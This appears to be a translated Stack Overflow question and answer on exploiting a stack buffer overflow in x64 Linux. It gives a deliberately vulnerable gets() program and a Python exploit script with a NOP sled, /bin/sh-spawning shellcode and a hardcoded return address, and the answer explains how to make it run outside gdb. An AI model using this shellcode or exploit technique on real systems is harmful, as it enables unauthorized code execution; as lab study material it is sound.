【问题标题】:Shellcode injection on x64 linuxx64 linux上的Shellcode注入
【发布时间】:2019-10-08 09:35:36
【问题描述】:

我在尝试通过 64 位上的缓冲区溢出将 shellcode 注入程序时遇到问题。我已经禁用了 ASLR,并且在没有堆栈 cookie 和 execstack 的情况下进行了编译。

// vuln.c
#include <stdio.h>

void vuln()
{
        printf("Give me something to worry about...\n");

        char buf[500];
        gets(buf);

        printf("No root shell for you...\n");
}

int main()
{
    vuln();
}
# exp.py
from struct import pack

payload_len = 520
nop = "\x90"*300
# Address in the middle of the nop stack
rip = 0x7fffffffdf4c

buf = ""
buf += "\x48\x31\xc0\x50\x5f\xb0\x03\x0f\x05"
buf += "\x50\x48\xbf\x2f\x64\x65\x76\x2f\x74\x74\x79\x57\x54\x5f\x50\x5e\x66\xbe\x02\x27\xb0\x02\x0f\x05"
buf += "\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x50\x57\x54\x5e\x48\x99\xb0\x3b\x0f\x05"

buf_len = len(buf)
nop_len = len(nop)
padding = "A"*(payload_len-nop_len-buf_len)

payload = nop + buf + padding + pack("<Q", rip)

print payload

基本上,该漏洞利用仅在 gdb 中运行时有效(我能够启动 shell),但在命令行中无效。我想这可能是因为一个封闭的管道,所以我通过(python exp.py; cat) | ./vuln 尝试了猫把戏,但它没有帮助。显然,在 gdb 中进行利用不允许提升权限。有人知道我在做什么错吗?

提前致谢。

【问题讨论】:

  • 您是如何在 NOP 雪橇中间获得该地址的?通过使用 gdb?
  • 是的,我用 gdb 得到了它。但请参阅下面的答案,因为与此同时我解决了问题

标签: linux 64-bit buffer-overflow shellcode


【解决方案1】:

显然,我使用 gdb (rip = 0x7fffffffdf4c) 获得的地址太接近缓冲区的开头,并且从命令行执行时被重定向到无效内存(我猜与使用执行相比,堆栈略微向下移动gdb)。通过在 NOP 幻灯片中选择一个地址,一切都按预期工作。

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 2015-01-05
    • 1970-01-01
    • 1970-01-01
    • 2013-03-13
    • 2014-03-17
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多